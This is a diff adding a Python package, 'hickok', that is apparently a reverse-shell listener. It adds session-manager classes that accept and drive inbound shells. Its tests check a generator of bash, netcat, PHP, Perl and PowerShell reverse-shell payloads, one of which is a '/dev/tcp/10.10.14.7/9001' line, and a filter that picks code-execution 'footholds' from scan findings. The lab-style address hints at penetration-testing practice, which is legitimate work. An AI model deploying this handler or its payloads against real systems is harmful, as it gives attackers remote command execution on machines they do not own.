+import sys
+import time
+
+
+class ShellSession:
+    """One connected shell. A background task pumps inbound data either into a
+    queue (so `cmd` can collect a burst of output) or straight to stdout (while
+    interacting)."""
+
+    def __init__(self, sid: int, reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
+        self.id = sid
+        self.reader = reader
+        self.writer = writer
+        self.peer = writer.get_extra_info("peername") or ("?", 0)
+        self.connected = time.time()
+        self.alive = True
+        self._queue: asyncio.Queue[bytes] = asyncio.Queue()
+        self._mirror = False
+        self._task: asyncio.Task | None = None
+
+    def start(self) -> None:
+        self._task = asyncio.create_task(self._pump())
+
+    async def _pump(self) -> None:
+        try:
+            while True:
+                data = await self.reader.read(4096)
+                if not data:
+                    break
+                if self._mirror:
+                    sys.stdout.buffer.write(data)
+                    sys.stdout.buffer.flush()
+                else:
+                    await self._queue.put(data)
+        except Exception:
+            pass
+        finally:
+            self.alive = False
+
+    async def send(self, data: bytes) -> None:
+        self.writer.write(data)
+        await self.writer.drain()
+
+    async def collect(self, timeout: float = 1.0) -> bytes:
+        """Drain buffered output for up to `timeout` seconds of silence."""
+        chunks: list[bytes] = []
+        try:
+            while True:
+                chunks.append(await asyncio.wait_for(self._queue.get(), timeout=timeout))
+        except asyncio.TimeoutError:
+            pass
+        return b"".join(chunks)
+
+    def mirror_on(self) -> None:
+        # Flush whatever is queued, then stream subsequent output to stdout.
+        while not self._queue.empty():
+            sys.stdout.buffer.write(self._queue.get_nowait())
+        sys.stdout.buffer.flush()
+        self._mirror = True
+
+    def mirror_off(self) -> None:
+        self._mirror = False
+
+    def close(self) -> None:
+        self.alive = False
+        try:
+            self.writer.close()
+        except Exception:
+            pass
+
+    @property
+    def age(self) -> str:
+        return f"{int(time.time() - self.connected)}s"
+
+
+class SessionManager:
+    def __init__(self):
+        self._sessions: dict[int, ShellSession] = {}
+        self._counter = 0
+
+    def add(self, reader, writer) -> ShellSession:
+        self._counter += 1
+        sess = ShellSession(self._counter, reader, writer)
+        self._sessions[sess.id] = sess
+        return sess
+
+    def get(self, sid: int) -> ShellSession | None:
+        return self._sessions.get(sid)
+
+    def remove(self, sid: int) -> None:
+        sess = self._sessions.pop(sid, None)
+        if sess:
+            sess.close()
+
+    def all(self) -> list[ShellSession]:
+        return list(self._sessions.values())

hickok-0.1.0/tests/test_console.py

@@ -0,0 +1,32 @@
+from hickok.cli import _with_default_command
+from hickok.console import Console
+
+
+def test_banner_shows_eights_and_wild_bill(capsys):
+    Console(color=False, banner=True).banner()
+    out = capsys.readouterr().out
+    assert "8♠" in out and "8♣" in out          # Hickok holds the eights
+    assert "HICKOK" in out.replace(" ", "")      # the wordmark (spaced)
+    assert "Hickok" in out and "1876" in out     # the memorial
+
+
+def test_eights_reveal(capsys):
+    Console(color=False, banner=False).eights()
+    out = capsys.readouterr().out
+    assert "8♠" in out and "8♣" in out
+    assert "eights" in out
+
+
+def test_dead_mans_hand_completes_and_credits_wraith(capsys):
+    Console(color=False, banner=False).dead_mans_hand(dealt_by_wraith=True)
+    out = capsys.readouterr().out
+    assert "A♠" in out and "A♣" in out and "8♠" in out and "8♣" in out
+    assert "dead man's hand" in out
+    assert "wraith" in out                       # the catch is credited
+
+
+def test_listen_is_the_default_command():
+    assert _with_default_command(["-l", "9001"]) == ["listen", "-l", "9001"]
+    assert _with_default_command([]) == []
+    assert _with_default_command(["hand", "x.json"]) == ["hand", "x.json"]
+    assert _with_default_command(["--no-color", "-l", "9001"]) == ["--no-color", "listen", "-l", "9001"]

hickok-0.1.0/tests/test_findings.py

@@ -0,0 +1,27 @@
+import json
+
+from hickok import findings
+
+
+def test_is_foothold_flags_code_execution():
+    assert findings.is_foothold("Command Injection in 'host'") is True
+    assert findings.is_foothold("Server-Side Template Injection in 'name'") is True
+    assert findings.is_foothold("Reflected XSS in 'q'") is False
+    assert findings.is_foothold("SQL Injection (boolean blind) in 'id'") is False
+
+
+def test_footholds_filters_actionable():
+    items = [
+        {"title": "Command Injection in 'host'", "severity": "Critical", "target": "http://t/ping"},
+        {"title": "Reflected XSS in 'q'", "severity": "High", "target": "http://t/search"},
+        {"title": "SSTI in 'name'", "severity": "High", "target": "http://t/render"},
+    ]
+    foot = findings.footholds(items)
+    assert {f["target"] for f in foot} == {"http://t/ping", "http://t/render"}
+
+
+def test_load_reads_wraith_json(tmp_path):
+    p = tmp_path / "findings.json"
+    p.write_text(json.dumps([{"title": "x", "severity": "Low", "target": "http://t/"}]))
+    data = findings.load(str(p))
+    assert isinstance(data, list) and data[0]["title"] == "x"

hickok-0.1.0/tests/test_payloads.py

@@ -0,0 +1,13 @@
+from hickok import payloads
+
+
+def test_generate_has_common_shells_with_lhost_lport():
+    p = payloads.generate("10.10.14.7", 9001)
+    assert {"bash", "python3", "nc-e", "php", "perl", "powershell"} <= set(p)
+    assert "10.10.14.7" in p["bash"] and "9001" in p["bash"]
+    assert "/dev/tcp/10.10.14.7/9001" in p["bash"]
+
+
+def test_guess_lhost_returns_an_address():
+    host = payloads.guess_lhost()
+    assert isinstance(host, str) and host.count(".") == 3